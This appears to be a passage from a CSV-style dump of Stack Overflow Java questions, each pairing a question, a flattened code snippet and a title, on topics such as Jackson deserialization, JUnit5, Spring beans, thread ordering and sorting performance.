java.util.logging.LogManager.addLogger ( Unknown Source ) at java.util.logging.LogManager $ 1.run ( Unknown Source ) at java.security.AccessController.doPrivileged ( Native Method ) at java.util.logging.LogManager. < clinit > ( Unknown Source ) private static Logger logger = Logger.getLogger ( Applet.class.getName ( ) ) ;,NPE with logging while launching webstart on jre7 update 40 +Java,"I 'd like to serialize a Book object : The problem is that i do n't know how to instantiate objects of ObjectDataOutput/ObjectDataInput types to serialize/deserialize Book object . ObjectDataOutputStream implements ObjectDataOutput but I do n't know how to instantiate this object to becase it needs SerializationService object which does n't have public constructors.So , are there any ways to create an ObjectDataOutput/ObjectDataInput object from FileOutputStream/FileInputStream for example ? Thanks in advance",public class Book implements DataSerializable { @ Override void writeData ( ObjectDataOutput out ) throws IOException { ... } @ Override void readData ( ObjectDataInput in ) throws IOException { ... } },Hazelcast 3.5 serialization with DataSerializable +Java,"I am implementing template pattern in Java . Let us assume the following piece of code : I consider it a problem that one is easily able to accidentally call b.doWork ( ) instead of always calling b.work ( ) . What is the most elegant solution , if possible , to `` hide '' the hooks ?",public abstract class A { public final void work ( ) { doPrepare ( ) ; doWork ( ) ; } protected abstract void doPrepare ( ) ; protected abstract void doWork ( ) ; } public final class B extends A { @ Override protected abstract void doPrepare ( ) { /* do stuff here */ } @ Override protected abstract void doWork ( ) { /* do stuff here */ } } public final class Main { public static void main ( String [ ] args ) { B b = new B ( ) ; b.work ( ) ; } },Protecting hooks in template pattern +Java,"If I generate javadoc for a method the method parameters/exceptions unnecessarily get wrapped into a new line , like this : There is plenty of horizontal space left on the page . Using Oracle javadoc.exe 8u60.How can I prevent these unnecessary line breaks without having to manually edit the HTML files ? This is the source code of the part shown in the screenshot : The source code above is extracted , condensed and processed by a HTML formatter for easier reading , here is the very raw complete file .",< ul class= '' blockList '' > < li class= '' blockList '' > < a name= '' method.detail '' > < ! -- -- > < /a > < h3 > Method Detail < /h3 > < a name= '' getRootWord -- '' > < ! -- -- > < /a > < ul class= '' blockList '' > < li class= '' blockList '' > < h4 > getRootWord < /h4 > < pre > @ NotNullpublic & nbsp ; < a href= '' http : //docs.oracle.com/javase/8/docs/api/java/lang/String.html ? is-external=true '' title= '' class or interface in java.lang '' > String < /a > & nbsp ; getRootWord ( ) < /pre > < /li > < /ul > < a name= '' setRootWord-java.lang.String- '' > < ! -- -- > < /a > < ul class= '' blockList '' > < li class= '' blockList '' > < h4 > setRootWord < /h4 > < pre > public & nbsp ; void & nbsp ; setRootWord ( @ NotNull < a href= '' http : //docs.oracle.com/javase/8/docs/api/java/lang/String.html ? is-external=true '' title= '' class or interface in java.lang '' > String < /a > & nbsp ; rootWord ) < /pre > < /li > < /ul > < a name= '' getAdjectiveDeclension -- '' > < ! -- -- > < /a > < ul class= '' blockList '' > < li class= '' blockList '' > < h4 > getAdjectiveDeclension < /h4 > < pre > @ NotNullpublic & nbsp ; < a href= '' ../../../../com/kayon/core/adjective/AdjectiveDeclension.html '' title= '' interface in com.kayon.core.adjective '' > AdjectiveDeclension < /a > & nbsp ; getAdjectiveDeclension ( ) throws < a href= '' ../../../../com/kayon/core/NoDeclensionException.html '' title= '' class in com.kayon.core '' > NoDeclensionException < /a > < /pre > < dl > < dt > < span class= '' throwsLabel '' > Throws : < /span > < /dt > < dd > < code > < a href= '' ../../../../com/kayon/core/NoDeclensionException.html '' title= '' class in com.kayon.core '' > NoDeclensionException < /a > < /code > < /dd > < /dl > < /li > < /ul > < a name= '' setAdjectiveDeclension-com.kayon.core.adjective.AdjectiveDeclension- '' > < ! -- -- > < /a > < ul class= '' blockList '' > < li class= '' blockList '' > < h4 > setAdjectiveDeclension < /h4 > < pre > public & nbsp ; void & nbsp ; setAdjectiveDeclension ( @ Nullable < a href= '' ../../../../com/kayon/core/adjective/AdjectiveDeclension.html '' title= '' interface in com.kayon.core.adjective '' > AdjectiveDeclension < /a > & nbsp ; adjectiveDeclension ) < /pre > < /li > < /ul > < /li > < /ul >,Generated javadoc pages unneccesarily wrap method arguments with annotations +Java,"I am using Jackson to deserialize a number of different implementations of the Product interface . These product implementations have different fields , but all have an InsuredAmount field . This InsuredAmount class has a value field and an IAType field . The IAType is a marker interface with different enums as implementations.Now here 's the problem : The enum implementations of the IAType interface correspond to a certain implementation of the Product interface . How can I make a generic implementation and tell Jackson to find the correct implementation of thee IAType ? Should I use a generic parameter on the Product and the IAType interface identifying the product implementation ? Should I use a Productable functional interface on the classes identifying the product implementation ? How can I tell Jackson to use that implementation ? I hope the code below clarifies the problem , I chose to implement a Productable interface here , but a bettere structure to handle this problem would also be welcome. -- -- -- -- -- --","@ JsonPropertyOrder ( { `` type '' , `` someInfo '' } ) public class InsuredAmount implements Productable , Serializable { private static final long serialVersionUID = 1L ; private IAType type ; private String someInfo ; public InsuredAmount ( ) { } public InsuredAmount ( IAType typeA , String someInfo ) { this.type = typeA ; this.someInfo = someInfo ; } /* This should be on the product level , but if I can solve this problem , the next level will just be more of the same . */ @ JsonIgnore @ Override public Product getProduct ( ) { return Product.PROD_A ; } // Getters , setters , equals , etc . omitted . } public interface Productable { public Product getProduct ( ) ; } public enum Product { PROD_A , PROD_B ; } @ JsonDeserialize ( using = IATypeDeserializer.class ) public interface IAType extends Productable { } public enum IATypeA implements IAType { FOO , BAR ; @ Override public Product getProduct ( ) { return Product.PROD_A ; } } public class IATypeDeserializer extends StdDeserializer < IAType > { private static final long serialVersionUID = 1L ; public IATypeDeserializer ( ) { this ( null ) ; } public IATypeDeserializer ( Class < ? > vc ) { super ( vc ) ; } @ Override public IAType deserialize ( JsonParser parser , DeserializationContext context ) throws IOException , JsonProcessingException { JsonNode node = parser.getCodec ( ) .readTree ( parser ) ; /* How to find out that the class calling the deserialization is InsuredAmountA , which has getProduct ( ) method that returns PROD_A , and matches the IATypeA that also returns PROD_A , so I know to deserialize IATypeA , instead of other implementations of the IAType interface ? */ return IATypeA.valueOf ( node.asText ( ) ) ; } } public class InsuredAmountTest { private final ObjectMapper mapper = new ObjectMapper ( ) ; @ Test public void test01 ( ) throws IOException { InsuredAmount iaA = new InsuredAmount ( IATypeA.FOO , `` test it '' ) ; String json = mapper.writeValueAsString ( iaA ) ; assertThat ( json , is ( `` { \ '' type\ '' : \ '' FOO\ '' , \ '' someInfo\ '' : \ '' test it\ '' } '' ) ) ; InsuredAmount iaA2 = mapper.readValue ( json , InsuredAmount.class ) ; IAType type = iaA2.getType ( ) ; assertThat ( type , is ( IATypeA.FOO ) ) ; assertThat ( type.getProduct ( ) , is ( Product.PROD_A ) ) ; assertThat ( iaA , is ( iaA2 ) ) ; } @ Test public void test02 ( ) throws IOException { InsuredAmount iaA = new InsuredAmount ( IATypeA.BAR , `` test it '' ) ; String json = mapper.writeValueAsString ( iaA ) ; assertThat ( json , is ( `` { \ '' type\ '' : \ '' BAR\ '' , \ '' someInfo\ '' : \ '' test it\ '' } '' ) ) ; InsuredAmount iaA2 = mapper.readValue ( json , InsuredAmount.class ) ; assertThat ( iaA , is ( iaA2 ) ) ; } }",How deserialize based on information available in the parent class +Java,"For all DI examples I have seen , I always see the dependencies as other classes , like services . But an object may depend , heavily and/or crucially in fact , on configuration values such as Strings and resource wrappers ( File/Path/URI/URL , as opposed to an entire big value string/document , or a reader ) .Note , this is about the DI design pattern in Java or C # syntax alone , not how any particular DI framework handles this.For example , let 's say I have this class which returns a String ( relative path , based on some obscure implementation logic ) . It ( rather its various implementors ) has a configuration/initialization dependency on the `` projectLocation '' , as a user could have various projects on their machine and this class will perform some logic based on a given project whenever it is called.I am not using DI just for unit-testing ( gasp I 'm not even unit testing , existing project ) . I just want to separate my dependency/creational concerns and logic concerns period .",public abstract class PathResolver { protected File projectFilesLocation ; public RoutinePathResolver ( File projectFilesLocation ) { this.projectFilesLocation = projectFilesLocation ; } public abstract String getPath ( String someValue ) ; },Are value objects valid dependencies for DI design pattern ? +Java,I 'm playing around with Threads in Java.The following example I found on a website : The expected result would be something like : But I get : So it does n't seem concurrent but sequential . Is it because of the speed ?,public class ThreadTest { public static void main ( String args [ ] ) { Thread t1 = new Thread ( new Thread1 ( ) ) ; t1.start ( ) ; Thread t2 = new Thread ( new Thread2 ( ) ) ; t2.start ( ) ; } } public class Thread1 implements Runnable { @ Override public void run ( ) { for ( int i = 0 ; i < 20 ; i++ ) { System.out.println ( new java.util.Date ( ) ) ; } } } public class Thread2 implements Runnable { @ Override public void run ( ) { for ( int i = 0 ; i < 20 ; i++ ) { System.out.println ( i ) ; } } } Mon Nov 11 20:06:12 CET 20130123456789Mon Nov 11 20:06:12 CET 201310 0123 ... 19Mon Nov 11 20:06:12 CET 2013Mon Nov 11 20:06:12 CET 2013Mon Nov 11 20:06:12 CET 2013 ... Mon Nov 11 20:06:12 CET 2013,Concurrent or sequential ? +Java,"I 've done something like this : But I think it is possible to make this more easier\shoter , is n't it ?","List < String > strList = asList ( `` getElementById '' , `` htmlSpecialChars '' , `` httpRequest '' ) ; String maxOfLowercase = strList.stream ( ) .max ( ( o1 , o2 ) - > { long lowerCount1 = o1.chars ( ) .filter ( Character : :isLowerCase ) .count ( ) ; long lowerCount2 = o2.chars ( ) .filter ( Character : :isLowerCase ) .count ( ) ; return Long.compare ( lowerCount1 , lowerCount2 ) ; } ) .get ( ) ;",Find the String with the largest number of lowercase letters from a List < String > . ( Using streams ) +Java,"I put together a demo JUnit5 project to try out the framework . The project consists of Gradle ( 4.4 ) , Java ( 8 ) and Kotlin ( 1.2.0 ) with 4 test cases . I have the following Gradle build script ( I 've removed most of the boilerplate to keep only the important stuff ) : I also have a KotlinTest.kt and a JavaTest.java that have the equivalent test cases : When I run my tests with gradlew junitPlatformTest , I correctly see 2 tests passing and 2 tests failing . However , I also see `` 3 containers found '' . My question is why are there 3 containers found ? What are they ? I ca n't seem to find a direct answer about test containers in the JUnit5 user guide that pertains to this scenario .","apply plugin : 'java'apply plugin : 'kotlin'apply plugin : 'org.junit.platform.gradle.plugin'repositories { mavenCentral ( ) } buildscript { ext.kotlin_version = ' 1.2.0 ' repositories { mavenCentral ( ) } dependencies { classpath 'org.junit.platform : junit-platform-gradle-plugin:1.0.2 ' classpath `` org.jetbrains.kotlin : kotlin-gradle-plugin : $ kotlin_version '' } } configurations { all { exclude group : 'junit ' , module : 'junit ' } } project.ext { junitPlatformVersion = ' 1.0.2 ' junitJupiterVersion = ' 5.0.2 ' } dependencies { compile `` org.jetbrains.kotlin : kotlin-stdlib-jdk8 : $ kotlin_version '' testCompile `` org.jetbrains.kotlin : kotlin-reflect : $ kotlin_version '' testCompile `` org.junit.jupiter : junit-jupiter-api : $ { junitJupiterVersion } '' testRuntime `` org.junit.jupiter : junit-jupiter-engine : $ { junitJupiterVersion } '' } junitPlatform { platformVersion ' 1.0.2 ' filters { engines { include 'junit-jupiter ' } } } @ Testfun junit5TestPasses ( ) { assertTrue ( true ) } @ Testfun junit5TestFails ( ) { assertTrue ( false ) }",Where are the three test containers coming from ? +Java,"While Java 8 's type inference seems much improved , I 've hit on a possible limitation and I 'm not sure if there 's some workaround I 'm missing . The scenario : This works : This does not : Is there any way to get type inference to work in this sort of situation ?","class Foo < T > { < U > void apply ( Function < T , Consumer < U > > bar ) { } } class Bar { void setBar ( String bar ) { } } Foo < Bar > foo = new Foo < > ( ) ; foo. < String > apply ( bar - > bar : :setBar ) ; foo.apply ( bar - > bar : :setBar ) ;",Type inference limitations with lambda expressions +Java,"I have the following C++ method compiled using Visual Studio 2017 : In Java code , it is mapped by Java Native Runtime using interface method with following signature : It works.The above C++ method causes memory leak , so I would like to change it to return result by value : I use the same Java JNR mapping : But it does not work - Access Violation . Native method is invoked , but with some dandling pointer value.How to return by value in JNR ?","extern `` C '' __declspec ( dllexport ) Info* __stdcall GetInfo ( InfoProvider* infoProvider ) { static_assert ( std : :is_pod < Info > : :value , `` Must be Plain Old Data in order to be safely copied between DLL boundaries '' ) ; Info info = new Info ( ) ; Info- > data1 = infoProvider- > data1 ; Info- > data2 = infoProvider- > data2 ; return info ; } Info GetInfo ( Pointer infoProvider ) ; final class Info extends Struct { public final Signed32 data1 ; public final Signed32 data2 ; public R2VInfo ( final Runtime runtime ) { super ( runtime ) ; data1 = new Signed32 ( ) ; data2 = new Signed32 ( ) ; } } extern `` C '' __declspec ( dllexport ) Info __stdcall GetInfo ( InfoProvider* infoProvider ) { static_assert ( std : :is_pod < Info > : :value , `` Must be Plain Old Data in order to be safely copied between DLL boundaries '' ) ; Info info { } ; Info.data1 = infoProvider- > data1 ; Info.data2 = infoProvider- > data2 ; return info ; } Info GetInfo ( Pointer infoProvider ) ;",How to return by value from native function ? +Java,"Is there a way to make Java Exceptions more informative ? For example , take this code from the ClassCastException docs : Java will give me a ClassCastException with a message like `` Ca n't cast something of type Integer to String '' . How can I make it say : `` Ca n't cast the Integer 0 to a String '' instead ? And if I tried to cast a String `` foo '' to a Person , to make it say : `` Ca n't cast the String foo to a Person '' ? So with the value of the object I was trying to cast.Can I somehow replace the standard ClassCastException by the more informative one , so I do n't have to introduce lots of try/catch-blocks ? Subclassing is of course an option , but then I would have to introduce lots of try/catch-blocks.The reason why I 'm asking is actually because of another programming language which compiles to the JVM , Clojure.In Clojure , beginners often make this mistake : This results into an error message : It would be very helpful for beginners to see something like : so they would get the clue that they are trying to use a string a a function here . It would be nice to be able to inject these new Exceptions , for a learning environment , without actually re-writing the Clojure Compiler . It could be solved at the REPL level by catching these types of exceptions though . Still I 'm curious if this is possible with some nifty techniques .",Object x = new Integer ( 0 ) ; System.out.println ( ( String ) x ) ; ( def my-list ( `` foo '' `` bar '' ) ) java.lang.String can not be cast to clojure.lang.IFn java.lang.String `` foo '' can not be cast to clojure.lang.IFn,Make exceptions more informative +Java,"I have my main class : My procfile : Note : I 'm using shadowJar since a normal jar creation does n't include dependencies I need such as Spark and Firebase.Now , if I do : And go to localhost:5000 , I get a 404 error . However , the application does n't actually crash . It stays running.That is unlike when I do : After a git add . , git commit -m `` x '' , and a git push heroku masterWhich crashes with an `` Application Error '' and gives me this ONLY : Those are the only errors I got . The previous errors are the logs from yesterday.I 'm not exactly sure what 's the problem . I suspect it has something to do with the shadowJar . But I 'm not sure .","public class Main { public static void main ( String [ ] args ) { Spark.port ( getHerokuAssignedPort ( ) ) ; get ( `` /hello '' , ( req , res ) - > `` Hello Heroku World '' ) ; } private static int getHerokuAssignedPort ( ) { ProcessBuilder processBuilder = new ProcessBuilder ( ) ; if ( processBuilder.environment ( ) .get ( `` PORT '' ) ! = null ) { return Integer.parseInt ( processBuilder.environment ( ) .get ( `` PORT '' ) ) ; } return 4567 ; //return default port if heroku-port is n't set ( i.e . on localhost ) } } web : java -jar build/libs/CrowdSubhaHeroku-1.0-SNAPSHOT-all.jar heroku local web heroku open 2017-02-23T15:18:18.848727+00:00 heroku [ router ] : at=error code=H10 desc= '' App crashed '' method=GET path= '' / '' host=crowdsubha.herokuapp.com request_id=ce636951-862e-4b2f-a698-924db3039a07 fwd= '' 94.187.7.67 '' dyno= connect= service= status=503 bytes=2017-02-23T15:18:20.022743+00:00 heroku [ router ] : at=error code=H10 desc= '' App crashed '' method=GET path= '' /favicon.ico '' host=myapp.herokuapp.com request_id=d1e9ec86-ffe4-4a09-9934-81e25378c32c fwd= '' 94.187.7.67 '' dyno= connect= service= status=503 bytes=",Heroku Java app crashing locally but not on the web +Java,"I am considering submitting an RFE ( request for enhancement ) to Oracle Bug Database which is supposed to significantly increase string concatenation performance . But before I do it I 'd like to hear experts ' comments on whether it makes sense . The idea is based on the fact that the existing String.concat ( String ) works two times faster on 2 strings than StringBuilder . The problem is that there is no method to concatenate 3 or more strings . External methods can not do this because String.concat uses a package private constructor String ( int offset , int count , char [ ] value ) which does not copy the char array but uses it directly . This ensure high String.concat performance . Being in the same package StringBuilder still can not use this constructor because then the String 's char array will be exposed for modifications . I suggest to add the following methods to StringNote : this kind of overloading is used in EnumSet.of , for efficiency.This is the implementation of one of the methods , others work the same wayAlso , after these methods are added to String , Java compiler for will be able to build efficientinstead of current inefficientUPDATE Performance test . I ran it on my notebook Intel Celeron 925 , concatenation of 3 strings , my String2 class emulates exactly how it would be in real java.lang.String . String lengths are chosen so that to put StringBuilder in the most unfavourable conditions , that is when it needs to expand its internal buffer capacity on each append , while concat always creates char [ ] only once.on 1,000,000 iterations the results are :","public static String concat ( String s1 , String s2 ) public static String concat ( String s1 , String s2 , String s3 ) public static String concat ( String s1 , String s2 , String s3 , String s4 ) public static String concat ( String s1 , String s2 , String s3 , String s4 , String s5 ) public static String concat ( String s1 , String ... array ) public final class String { private final char value [ ] ; private final int count ; private final int offset ; String ( int offset , int count , char value [ ] ) { this.value = value ; this.offset = offset ; this.count = count ; } public static String concat ( String s1 , String s2 , String s3 ) { char buf [ ] = new char [ s1.count + s2.count + s3.count ] ; System.arraycopy ( s1.value , s1.offset , buf , 0 , s1.count ) ; System.arraycopy ( s2.value , s2.offset , buf , s1.count , s2.count ) ; System.arraycopy ( s3.value , s3.offset , buf , s1.count + s2.count , s3.count ) ; return new String ( 0 , buf.length , buf ) ; } String s = s1 + s2 + s3 ; String s = String.concat ( s1 , s2 , s3 ) ; String s = ( new StringBuilder ( String.valueOf ( s1 ) ) ) .append ( s2 ) .append ( s3 ) .toString ( ) ; public class String2 { private final char value [ ] ; private final int count ; private final int offset ; String2 ( String s ) { value = s.toCharArray ( ) ; offset = 0 ; count = value.length ; } String2 ( int offset , int count , char value [ ] ) { this.value = value ; this.offset = offset ; this.count = count ; } public static String2 concat ( String2 s1 , String2 s2 , String2 s3 ) { char buf [ ] = new char [ s1.count + s2.count + s3.count ] ; System.arraycopy ( s1.value , s1.offset , buf , 0 , s1.count ) ; System.arraycopy ( s2.value , s2.offset , buf , s1.count , s2.count ) ; System.arraycopy ( s3.value , s3.offset , buf , s1.count + s2.count , s3.count ) ; return new String2 ( 0 , buf.length , buf ) ; } public static void main ( String [ ] args ) { String s1 = `` 1 '' ; String s2 = `` 11111111111111111 '' ; String s3 = `` 11111111111111111111111111111111111111111 '' ; String2 s21 = new String2 ( s1 ) ; String2 s22 = new String2 ( s2 ) ; String2 s23 = new String2 ( s3 ) ; long t0 = System.currentTimeMillis ( ) ; for ( int i = 0 ; i < 1000000 ; i++ ) { String2 s = String2.concat ( s21 , s22 , s23 ) ; // String s = new StringBuilder ( s1 ) .append ( s2 ) .append ( s3 ) .toString ( ) ; } System.out.println ( System.currentTimeMillis ( ) - t0 ) ; } } version 1 = ~200 msversion 2 = ~400 ms",Can java.lang.String.concat be improved ? +Java,"I am trying to get the week of the current month like so : But this throws java.time.temporal.UnsupportedTemporalTypeException : Unsupported field : DayOfWeekI ca n't seem to work out why I 'm getting this exception , because I 'm not doing anything with DayOfWeek . Any ideas ?",YearMonth .from ( Instant.now ( ) .atZone ( ZoneId.of ( `` UTC '' ) ) ) .get ( WeekFields.ISO.weekOfMonth ( ) ),Java 8 Date API - Getting week of month throws UnsupportedTemporalTypeException : Unsupported field : DayOfWeek +Java,"Be aware , it is not a duplicate of Why start an ArrayList with an initial capacity ? Looking into the source code of the java.util.ArrayList class , starting from at least java 1.8 I see the following code : Where Though the javadoc officially states : Constructs an empty list with an initial capacity of ten.I outline : ... an initial capacity of ten . Where is this ten ? Am I completely mad and missing something , or there is simply a javadoc bug here ? UPD : How it looked like prior java 1.8 :",/** * Constructs an empty list with an initial capacity of ten . */public ArrayList ( ) { this.elementData = DEFAULTCAPACITY_EMPTY_ELEMENTDATA ; } private static final Object [ ] DEFAULTCAPACITY_EMPTY_ELEMENTDATA = { } ; public ArrayList ( int initialCapacity ) { super ( ) ; if ( initialCapacity < 0 ) throw new IllegalArgumentException ( `` Illegal Capacity : `` + initialCapacity ) ; this.elementData = new Object [ initialCapacity ] ; } /** * Constructs an empty list with an initial capacity of ten . */public ArrayList ( ) { this ( 10 ) ; },ArrayList public constructor - `` Constructs an empty list with an initial capacity of ten '' - where ? +Java,Consider I have something like this in beans.xml : But I need to add emailList property into multiple beans . How can I do that without writing property to each bean ? Can externalize property and inject it into each bean ? I expect something like :,< bean id= '' emails '' class= '' org.some.package.SomeClass '' > < property name= '' emailList '' > < list > < value > pechorin @ hero.org < /value > < value > raskolnikov @ slums.org < /value > < value > stavrogin @ gov.org < /value > < value > porfiry @ gov.org < /value > < /list > < /property > < /bean > < property name= '' commonProp '' > < list > < value > pechorin @ hero.org < /value > < value > raskolnikov @ slums.org < /value > < value > stavrogin @ gov.org < /value > < value > porfiry @ gov.org < /value > < /list > < /property > < bean id= '' emailsOne '' class= '' org.some.package.ClassOne '' > < property name= '' emailList '' ref= '' commonProp '' / > < /bean > < bean id= '' emailsTwo '' class= '' org.some.package.ClassTwo '' > < property name= '' emailList '' ref= '' commonProp '' / > < /bean >,Spring . How to add same property to multiple beans ? +Java,I ca n't find any example where wildcards ca n't be replaced by a generic.For example : is equivalent tooris equivalent toSo I do n't undertand why wildcard was created as generics is already doing the job . Any ideas or comments ?,"public void dummy ( List < ? extends MyObject > list ) ; public < T > void dummy ( List < T extends MyObject > list ) ; public < T > List < ? extends T > dummy2 ( List < ? extends T > list ) ; public < T , U > List < U extends T > dummy ( List < U extends T > list ) ;",Can all wildcards in Java be replaced by non-wildcard types ? +Java,"Ok , so I have an implementation of a bubble sort , selection sort and insertion sort . I 'm using Java.Random object to create three identical arrays of one hundred thousand numbers . I am passing these to each sort method in turn . I am timing the results using System.nanotime.For some background information . The sort algorithms I followed for Selection and Insertion sort come from Frank Carano 's `` Data Structures and Abstraction 's in Java 3rd Ed '' The bubble sort , was off the top of my head.Below I provide a self contained class that performs all this . Where have Carano 's algorithms gone wrong I do not see it ? Below you will see I am counting the cycles of the base operations and timing the completion . At run time the number of cycles is negligibly different . For me when looking at completion time , Bubble is 1st , Selection is 2nd and Insertion is 3rd . This flies in the face of conventional wisdom . Why . Have I done something rather daft ? BTW you should be able to compile and run the provided code without any changes .","import java.util.Random ; /** * * Performs sorts on generic data , here using Integers . */public class GenSorts { static int selectionCount = 0 , bubbleCount = 0 , insertionCount = 0 ; ; //========================================================================= /** * Do an insertion sort . * @ param data The array to sort * @ param first The index of the first element * @ param lasr The index of the last element */ //========================================================================= public static < T extends Comparable < ? super T > > void insertionSort ( T [ ] array , int first , int last ) { for ( int untouch = first + 1 ; untouch < last ; untouch++ ) { T nextToInsert = array [ untouch ] ; insertInOrder ( nextToInsert , array , first , untouch-1 ) ; } //end for } //========================================================================= //========================================================================= /** * Performs the shuffle and insert part of the insertion sort . * @ param anEntry The value to insert * @ param array The target array * @ param begin The begin of the unsorted part . * @ param end The end of the unsorted part . */ //========================================================================= public static < T extends Comparable < ? super T > > void insertInOrder ( T anEntry , T [ ] array , int begin , int end ) { int index = end ; //Do a shunt while an entry is less than the value at the index while ( ( index > = begin ) & & ( anEntry.compareTo ( array [ index ] ) < 0 ) ) { array [ index+1 ] = array [ index ] ; index -- ; insertionCount++ ; } array [ index+1 ] = anEntry ; //Insert } //====================================================================== //====================================================================== /** * BUBBLE SORT/////////////////////////////////////////////////////////// * Perform a bubble sort on the data . * @ param data The array to be sorted . */ //====================================================================== public static < T extends Comparable < ? super T > > void bubbleSort ( T [ ] data ) { Boolean swapped = true ; int stop = data.length -1 ; while ( swapped ) { swapped = false ; for ( int x = 0 ; x < stop ; x++ ) { bubbleCount++ ; //if x smaller than x +1 swap if ( data [ x ] .compareTo ( data [ x+1 ] ) > 0 ) { swap ( x , x+1 , data ) ; swapped = true ; } //end if stop -- ; } //end for } //end while } //end method============================================================ //======================================================================== /** * SELECTION SORT///////////////////////////////////////////////////////// * A selection sort algorithm to sort data . * @ param data * @ return */ //======================================================================== public static < T extends Comparable < ? super T > > void selectionSort ( T [ ] data , int n ) { for ( int index = 0 ; index < n - 1 ; index++ ) { selectionCount++ ; int min = getSmallestIndex ( index , n , data ) ; swap ( index , min , data ) ; //DISPLAYME // displaySelectionArray ( index , min , data ) ; } } //======================================================================== //========================================================================== /** * Get the index of the smallest item in the array from start to end/ * @ param start The place in the array to start looking . * @ param end The place in the array to end looking . * @ param array The array to inspect . * @ returnThe index of the smallest . */ //========================================================================== private static < T extends Comparable < ? super T > > int getSmallestIndex ( int start , int end , T [ ] array ) { T min = array [ start ] ; //value of smallest int minIndex = start ; //index of smallest for ( int i = start + 1 ; i < end ; i++ ) { // System.out.print ( array [ i ] .toString ( ) + `` , `` ) ; if ( array [ i ] .compareTo ( min ) < 0 ) { minIndex = i ; min = array [ i ] ; } //end if } //end for // System.out.println ( `` '' ) ; return minIndex ; } //======================================================================== //========================================================================= /** * Swap emelement numbers j and iMin in array data . * @ param j * @ param iMin * @ param data */ //========================================================================= public static < T extends Comparable < ? super T > > void swap ( int j , int iMin , T [ ] data ) { T temp = data [ j ] ; data [ j ] = data [ iMin ] ; data [ iMin ] = temp ; } //end swap================================================================ public static Integer [ ] largeRandom1 , largeRandom2 , largeRandom3 ; //======================================================================== /** * Generate large integers for sorting . * @ param n The value of n. */ //======================================================================== public static void genLargeRandom ( int n ) { Random r = new Random ( ) ; largeRandom1 = new Integer [ n ] ; largeRandom2 = new Integer [ n ] ; largeRandom3 = new Integer [ n ] ; for ( int i = 0 ; i < n ; i++ ) { largeRandom1 [ i ] = r.nextInt ( 100 ) ; largeRandom2 [ i ] = largeRandom1 [ i ] ; largeRandom3 [ i ] = largeRandom1 [ i ] ; } //end for } //end genLarge//========================================================== //========================================================================= /** * Sort a large numvber . * @ param args */ //========================================================================= public static void main ( String [ ] args ) { genLargeRandom ( 100000 ) ; //one hundred thousand Integer [ ] data = largeRandom1 ; /// { 40 , 3 , 2 , 7 , 4 } ; Integer [ ] data2 = largeRandom2 ; Integer [ ] data3 = largeRandom3 ; System.out.println ( `` BUBBLE SORT ! ! `` ) ; Long t1s = System.nanoTime ( ) ; bubbleSort ( data ) ; ///////////////Bubble Sort Long t1e = System.nanoTime ( ) ; System.out.println ( `` SELECTION SORT ! ! `` ) ; Long t2s = System.nanoTime ( ) ; selectionSort ( data2 , data2.length ) ; ///////////////Selection Sort Long t2e = System.nanoTime ( ) ; System.out.println ( `` INSERTION SORT ! ! `` ) ; Long t3s = System.nanoTime ( ) ; insertionSort ( data3,0 , data3.length ) ; ////////////Insertion Sort Long t3e = System.nanoTime ( ) ; System.out.println ( `` Bubble Time : `` + ( t1e - t1s ) ) ; System.out.println ( `` Selection Time : `` + ( t2e - t2s ) ) ; System.out.println ( `` insertion Time : `` + ( t3e - t3s ) ) ; System.out.println ( `` Bubble count : `` + bubbleCount ) ; System.out.println ( `` Selection ccount : '' + selectionCount ) ; System.out.println ( `` Insertion ccount : '' + selectionCount ) ; } //======================================================================== } // # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #",Why is my Java based Bubble Sort Outperforming my Selection Sort and my Insertion Sort +Java,"I need to perform transformations only for a particular condition.I do this transformation : But for the condition when there is more than the specified date , I do not need to convert anything , I just need to return this data : Next , to combine these two filters - I combine the two lists : My question is , can this be done in one stream ? Because filter 2 is absolutely useless , it simply returns a list for this condition.Is it possible to perform these transformations with one continuous expression ? My full code :","// filter 1 : less date - group by max date by groupId List < Info > listResult = new ArrayList < > ( listInfo.stream ( ) .filter ( info - > info.getDate ( ) .getTime ( ) < date.getTime ( ) ) .collect ( Collectors.groupingBy ( Info : :getGroupId , Collectors.collectingAndThen ( Collectors.reducing ( ( Info i1 , Info i2 ) - > i1.getDate ( ) .getTime ( ) > i2.getDate ( ) .getTime ( ) ? i1 : i2 ) , Optional : :get ) ) ) .values ( ) ) ; // filter 2 : more date - nothing change in list List < Info > listMoreByDate = listInfo.stream ( ) .filter ( info - > info.getDate ( ) .getTime ( ) > = date.getTime ( ) ) .collect ( Collectors.toList ( ) ) ; listResult.addAll ( listMoreByDate ) ; import java.text.ParseException ; import java.text.SimpleDateFormat ; import java.util . * ; import java.util.stream.Collectors ; public class App { public static void main ( String [ ] args ) throws ParseException { Info info1 = new Info ( 1L , getDateFromStr ( `` 2018-02-02T10:00:00 '' ) , 3L ) ; Info info2 = new Info ( 2L , getDateFromStr ( `` 2018-02-02T12:00:00 '' ) , 3L ) ; Info info3 = new Info ( 3L , getDateFromStr ( `` 2018-02-05T12:00:00 '' ) , 6L ) ; Info info4 = new Info ( 4L , getDateFromStr ( `` 2018-02-05T10:00:00 '' ) , 6L ) ; Date date = getDateFromStr ( `` 2018-02-03T10:10:10 '' ) ; List < Info > listInfo = new ArrayList < > ( ) ; listInfo.add ( info1 ) ; listInfo.add ( info2 ) ; listInfo.add ( info3 ) ; listInfo.add ( info4 ) ; // filter 1 : less date - group by max date by groupId List < Info > listResult = new ArrayList < > ( listInfo.stream ( ) .filter ( info - > info.getDate ( ) .getTime ( ) < date.getTime ( ) ) .collect ( Collectors.groupingBy ( Info : :getGroupId , Collectors.collectingAndThen ( Collectors.reducing ( ( Info i1 , Info i2 ) - > i1.getDate ( ) .getTime ( ) > i2.getDate ( ) .getTime ( ) ? i1 : i2 ) , Optional : :get ) ) ) .values ( ) ) ; // filter 2 : more date - nothing change in list List < Info > listMoreByDate = listInfo.stream ( ) .filter ( info - > info.getDate ( ) .getTime ( ) > = date.getTime ( ) ) .collect ( Collectors.toList ( ) ) ; listResult.addAll ( listMoreByDate ) ; System.out.println ( `` result : `` + listResult ) ; } private static Date getDateFromStr ( String dateStr ) throws ParseException { return new SimpleDateFormat ( `` yyyy-MM-dd'T'HH : mm : ss '' ) .parse ( dateStr ) ; } } class Info { private Long id ; private Date date ; private Long groupId ; public Info ( Long id , Date date , Long groupId ) { this.id = id ; this.date = date ; this.groupId = groupId ; } public Long getId ( ) { return id ; } public void setId ( Long id ) { this.id = id ; } public Date getDate ( ) { return date ; } public void setDate ( Date date ) { this.date = date ; } 